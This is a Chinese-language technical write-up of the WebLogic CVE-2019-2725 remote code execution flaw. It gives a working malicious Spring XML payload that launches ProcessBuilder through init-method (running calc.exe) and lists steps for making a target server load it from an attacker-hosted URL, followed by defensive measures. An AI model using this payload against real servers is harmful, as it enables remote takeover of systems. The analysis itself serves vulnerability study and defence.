Weblogic CVE-2019-2725漏洞分析与利用
0x01 漏洞概述
CVE-2019-2725是Weblogic中的一个远程代码执行漏洞,攻击者可以通过构造特定的XML请求在目标服务器上执行任意命令。该漏洞利用了Weblogic对XML反序列化的不当处理,特别是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类加载恶意XML配置文件来实现命令执行。
0x02 技术背景
该漏洞的利用方式与CVE-2017-17485类似,都是通过Spring框架的FileSystemXmlApplicationContext加载恶意XML文件。Weblogic中包含了重新打包的Spring框架类(com.bea.core.repackaged.springframework),这使得类似的攻击向量可以在Weblogic中实现。
0x03 漏洞分析
关键类分析
-
FileSystemXmlApplicationContext:
- 位于
com.bea.core.repackaged.springframework.context.support包中 - 继承自
AbstractXmlApplicationContext - 用于从文件系统加载XML格式的Spring配置文件
- 位于
-
BeanDefinitionValueResolver:
- 位于
com.bea.core.repackaged.springframework.beans.factory.support包中 - 负责解析bean定义中的值
- 位于
与CVE-2017-17485的区别
- 在Weblogic的实现中,缺少了表达式解析方法
Object valueObject=evaluate(TypedStringValue) - 无法直接使用SpEL表达式(如
#{pb.start()})来操作bean - 需要通过其他方式触发命令执行
0x04 漏洞利用
利用方法
由于无法使用SpEL表达式,可以采用init-method方式来触发命令执行。Spring容器初始化bean时支持三种方式定义初始化和销毁操作:
- 通过
@PostConstruct和@PreDestroy注解 - 在XML中定义
init-method和destroy-method方法 - 通过bean实现
InitializingBean和DisposableBean接口
有效Payload构造
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
利用步骤
- 构造上述恶意XML文件
- 将文件放置在攻击者可控的Web服务器上
- 向目标Weblogic服务器发送请求,触发其加载该XML文件
- Web服务器会解析XML并执行
ProcessBuilder的start方法
0x05 测试验证
可以通过以下简单的Java程序验证init-method的工作原理:
测试类:
public class TestInitMethod {
public void testInit() {
System.out.println("test init-method");
}
}
配置文件(spring.xml):
<bean id="testInitMethod" class="com.TestInitMethod" init-method="testInit"></bean>
主程序:
public class Main {
public static void main(String[] args) {
ClassPathXmlApplicationContext context1 = new ClassPathXmlApplicationContext("spring.xml");
}
}
执行后会输出: test init-method,证明init-method确实会在bean初始化时被调用。
0x06 限制条件
- 目标服务器需要能够访问攻击者控制的Web服务器以下载恶意XML文件
- 如果服务器无法主动发起外部请求,则此方法无效
- 需要知道Weblogic的特定端点来触发XML加载
0x07 防御措施
- 及时安装Oracle官方发布的安全补丁
- 限制Weblogic服务器对外部网络的访问
- 监控和过滤可疑的XML请求
- 使用Web应用防火墙(WAF)拦截恶意请求
0x08 总结
CVE-2019-2725漏洞利用了Weblogic中重新打包的Spring框架的XML解析功能,通过精心构造的XML文件可以实现远程代码执行。虽然与CVE-2017-17485类似,但由于缺少SpEL表达式支持,需要使用init-method等替代方法来实现命令执行。该漏洞的危害性较高,需要及时修补。